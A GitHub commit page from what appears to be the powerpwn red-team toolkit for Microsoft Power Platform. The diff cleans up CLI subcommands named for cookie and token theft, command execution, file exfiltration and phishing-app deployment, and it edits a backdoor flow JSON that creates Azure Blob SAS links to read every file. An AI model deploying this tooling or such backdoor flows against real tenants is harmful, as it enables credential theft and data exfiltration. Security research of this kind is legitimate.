Skip to content

Commit

Permalink
Merge pull request #17 from mbrg/feature/update_sas_flow
Browse files Browse the repository at this point in the history
update sas flow
  • Loading branch information
lanasalameh1 authored Jul 28, 2023
2 parents 8608fb9 + 31c196f commit 5a26629
Show file tree
Hide file tree
Showing 2 changed files with 5 additions and 31 deletions.
8 changes: 3 additions & 5 deletions src/powerpwn/cli/arguments.py
Original file line number Diff line number Diff line change
Expand Up @@ -41,7 +41,7 @@ def module_nocodemalware_subcommand_exec(command_subparsers: argparse.ArgumentPa
steal_fqdn_parser = command_subparsers.add_parser("steal-cookie", description="Steal cookie of fqdn")
steal_fqdn_parser.add_argument("--fqdn", required=True, type=str, help="Fully qualified domain name to fetch the cookies of")

steal_power_automate_token_parser = command_subparsers.add_parser("steal-power-automate-token", description="Steal power automate token")
command_subparsers.add_parser("steal-power-automate-token", description="Steal power automate token")

execute_command_parser = command_subparsers.add_parser("command-exec", description="Execute command on machine")
execute_command_parser.add_argument(
Expand All @@ -61,7 +61,7 @@ def module_nocodemalware_subcommand_exec(command_subparsers: argparse.ArgumentPa
exfiltrate_file_parser = command_subparsers.add_parser("exfiltrate", description="Exfiltrate file")
exfiltrate_file_parser.add_argument("-f", "--file", required=True, type=str, help="Absolute path to file")

cleanup_parser = command_subparsers.add_parser("cleanup", description="Cleanup")
command_subparsers.add_parser("cleanup", description="Cleanup")


def module_backdoor(command_subparsers: argparse.ArgumentParser):
Expand Down Expand Up @@ -103,9 +103,7 @@ def module_backdoor(command_subparsers: argparse.ArgumentParser):


def module_phishing(command_subparsers: argparse.ArgumentParser):
phishing_parser = command_subparsers.add_parser(
"phishing", description="Deploy a trustworthy phishing app", help="Deploy a trustworthy phishing app."
)
command_subparsers.add_parser("phishing", description="Deploy a trustworthy phishing app", help="Deploy a trustworthy phishing app.")


def parse_arguments():
Expand Down
28 changes: 2 additions & 26 deletions src/powerpwn/powerdoor/samples/generate_sas_uri_backdoor_flow.json
Original file line number Diff line number Diff line change
Expand Up @@ -133,44 +133,20 @@
}
},
"runAfter": {
"Create_SAS_URI_by_path_(V2)_2": [
"Filter_non_folders": [
"Succeeded"
]
},
"metadata": {
"operationMetadataId": "9cdc070e-fd34-486d-95de-b9be46b01525"
},
"type": "Foreach"
},
"Create_SAS_URI_by_path_(V2)_2": {
"runAfter": {
"Filter_non_folders": [
"Succeeded"
]
},
"metadata": {
"operationMetadataId": "492672b1-bc80-4906-aa52-e630f43804b3"
},
"type": "OpenApiConnection",
"inputs": {
"host": {
"apiId": "/providers/Microsoft.PowerApps/apis/shared_azureblob",
"connectionName": "shared_azureblob",
"operationId": "CreateShareLinkByPath_V2"
},
"parameters": {
"storageAccountName": "AccountNameFromSettings",
"path": "*",
"policy/Permissions": "Read"
},
"authentication": "@parameters('$authentication')"
}
}
}
},
"connection_references": [
{
"connectionName": "683ac0107c34470d9629ebb662c45d09",
"connectionName": "2fafb040469f41258f6e2462a0253b97",
"id": "/providers/Microsoft.PowerApps/apis/shared_azureblob"
}
],
Expand Down

0 comments on commit 5a26629

Please sign in to comment.